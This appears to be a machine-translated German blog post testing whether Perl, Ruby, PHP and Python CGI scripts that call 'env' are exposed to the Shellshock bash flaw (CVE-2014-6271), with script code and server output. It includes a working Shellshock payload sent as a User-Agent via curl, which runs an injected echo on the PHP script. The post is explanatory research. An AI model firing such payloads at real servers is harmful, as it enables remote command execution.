Aufgrund einer Bash-Sicherheitsanfälligkeit (CVE-2014-6271 usw.) werden die vom Browser gesendeten Daten wie UserAgent bei Verwendung einer Programmiersprachenfunktion, die Betriebssystembefehle wie die Systemfunktion von Perl oder Ruby CGI ausführt, zu einer Umgebungsvariablen. Es wurde darüber gesprochen, dass Bash im gespeicherten Zustand beginnt und ShellShock auftritt. Ist das wirklich der Fall?
Experimente wurden mit dem folgenden Verarbeitungssystem durchgeführt.
CGI, das nur den Betriebssystembefehl "env" aufruft und anzeigt.
Perl
#!/usr/bin/env perl
print "Content-Type: text/html;\n\n";
print system('env');
Ruby
#!/usr/bin/env ruby
print "Content-Type: text/html;\n\n"
print system('env')
PHP
#!/usr/bin/env php
<?php
print system('env');
?>
Python3
#!/usr/bin/env python3
import subprocess
print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))
Anfrage generiert von curl. -A
ist eine Option zur Angabe von UserAgent.
$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi
Alle haben UserAgent als Umgebungsvariable übergeben, aber nur PHP hat "echo Hello!" Ausgeführt.
$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi
Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
_=/usr/bin/env%
Zunächst führen Perl und Ruby Befehle mithilfe von Systemaufrufen aus, ohne die Shell zu durchlaufen, wenn der Befehl keine Shell-Metazeichen enthält. Für Python wird die Shell erst gestartet, wenn shell = True
hinzugefügt wurde. Da die Shell nicht gestartet wird, ist sie von ShellShock nicht betroffen.
PHP scheint die Shell wie gewohnt zu starten.
Selbst wenn Sie für andere Programme als PHP eine Funktion verwenden, die Betriebssystembefehle wie "system" ausführt, wird die Shell anscheinend nicht immer aufgerufen. Selbst wenn Sie eine Funktion wie "System" verwenden, ist sie meiner Meinung nach nicht immer von ShellShock betroffen.
Recommended Posts